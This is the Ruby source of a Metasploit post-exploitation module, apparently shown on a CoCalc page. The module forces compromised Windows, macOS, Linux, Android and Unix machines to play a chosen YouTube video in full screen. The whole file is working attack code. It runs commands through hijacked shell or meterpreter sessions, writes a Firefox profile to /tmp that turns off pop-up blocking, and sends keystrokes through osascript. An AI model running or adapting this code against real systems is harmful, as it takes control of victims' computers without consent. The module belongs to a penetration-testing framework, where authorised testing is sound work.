CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8

9
  def initialize(info = {})
10
    super(
11
      update_info(
12
        info,
13
        'Name' => 'Multi Manage YouTube Broadcast',
14
        'Description' => %q{
15
          This module will broadcast a YouTube video on specified compromised systems. It will play
16
          the video in the target machine's native browser. The VID datastore option is the "v"
17
          parameter in a YouTube video's URL.
18

19
          Enabling the EMBED option will play the video in full screen mode through a clean interface
20
          but is not compatible with all videos.
21

22
          This module will create a custom profile for Firefox on Linux systems in the /tmp directory.
23
        },
24
        'License' => MSF_LICENSE,
25
        'Author' => [ 'sinn3r' ],
26
        'Platform' => [ 'win', 'osx', 'linux', 'android', 'unix' ],
27
        'SessionTypes' => [ 'shell', 'meterpreter' ],
28
        'Notes' => {
29
          # ARTIFACTS_ON_DISK when the platform is linux
30
          'SideEffects' => [ ARTIFACTS_ON_DISK, AUDIO_EFFECTS, SCREEN_EFFECTS ]
31
        },
32
        'Compat' => {
33
          'Meterpreter' => {
34
            'Commands' => %w[
35
              android_*
36
              stdapi_sys_process_execute
37
            ]
38
          }
39
        }
40
      )
41
    )
42

43
    register_options(
44
      [
45
        OptBool.new('EMBED', [true, 'Use the embed version of the YouTube URL', true]),
46
        OptString.new('VID', [true, 'The video ID to the YouTube video', 'kxopViU98Xo'])
47
      ]
48
    )
49
  end
50

51
  def youtube_url
52
    if datastore['EMBED']
53
      "https://youtube.com/embed/#{datastore['VID']}?autoplay=1&loop=1&disablekb=1&modestbranding=1&iv_load_policy=3&controls=0&showinfo=0&rel=0"
54
    else
55
      "https://youtube.com/watch?v=#{datastore['VID']}"
56
    end
57
  end
58

59
  #
60
  # The OSX version uses an apple script to do this
61
  #
62
  def osx_start_video(_id)
63
    script = ''
64
    script << %(osascript -e 'tell application "Safari" to open location "#{youtube_url}"' )
65
    script << %(-e 'activate application "Safari"' )
66
    script << %(-e 'tell application "System Events" to key code {59, 55, 3}')
67

68
    begin
69
      cmd_exec(script)
70
    rescue EOFError
71
      return false
72
    end
73

74
    true
75
  end
76

77
  #
78
  # The Windows version uses the "embed" player to make sure IE won't download the SWF as an object
79
  #
80
  def win_start_video(_id)
81
    iexplore_path = 'C:\\Program Files\\Internet Explorer\\iexplore.exe'
82
    begin
83
      session.sys.process.execute(iexplore_path, "-k #{youtube_url}")
84
    rescue Rex::Post::Meterpreter::RequestError
85
      return false
86
    end
87

88
    true
89
  end
90

91
  #
92
  # The Linux version uses Firefox
93
  # TODO: Try xdg-open?
94
  #
95
  def linux_start_video(_id)
96
    begin
97
      # Create a profile
98
      profile_name = Rex::Text.rand_text_alpha(8)
99
      display = get_env('DISPLAY') || ':0'
100
      vprint_status("Creating profile #{profile_name} using display #{display}")
101
      o = cmd_exec(%(firefox --display #{display} -CreateProfile "#{profile_name} /tmp/#{profile_name}"))
102

103
      # Add user-defined settings to profile
104
      s = %|
105
      user_pref("dom.disable_open_during_load", false);
106
      user_pref("browser.shell.checkDefaultBrowser", false);
107
      |
108
      write_file("/tmp/#{profile_name}/prefs.js", s)
109

110
      # Start the video
111
      data_js = %|"data:text/html,<script>window.open('#{youtube_url}','','width:100000px;height:100000px');</script>"|
112
      joe = "firefox --display #{display} -p #{profile_name} #{data_js} &"
113
      cmd_exec("/bin/sh -c #{joe.shellescape}")
114
    rescue EOFError
115
      return false
116
    end
117

118
    true
119
  end
120

121
  #
122
  # The Android version is launched via an Intent
123
  #
124
  def android_start_video(id)
125
    intenturl = "intent://youtube.com/watch?v=#{id}&autoplay=1#Intent;scheme=http;action=android.intent.action.VIEW;end"
126
    begin
127
      session.android.activity_start(intenturl)
128
    rescue Rex::Post::Meterpreter::RequestError
129
      return false
130
    end
131
    true
132
  end
133

134
  # The generic Unix version calls xdg-open(1) or open(1)
135
  def unix_start_video(_id)
136
    cmd_exec("xdg-open '#{youtube_url}' || open '#{youtube_url}'")
137
    true
138
  rescue EOFError
139
    false
140
  end
141

142
  def start_video(id)
143
    case session.platform
144
    when 'osx'
145
      osx_start_video(id)
146
    when 'windows'
147
      win_start_video(id)
148
    when 'linux'
149
      linux_start_video(id)
150
    when 'android'
151
      android_start_video(id)
152
    when 'unix'
153
      unix_start_video(id)
154
    end
155
  end
156

157
  def run
158
    id = datastore['VID']
159

160
    print_status("#{peer} - Spawning video...")
161
    if start_video(id)
162
      print_good("#{peer} - The video has started")
163
    else
164
      print_error("#{peer} - Unable to start the video")
165
      return
166
    end
167
  end
168
end
169

170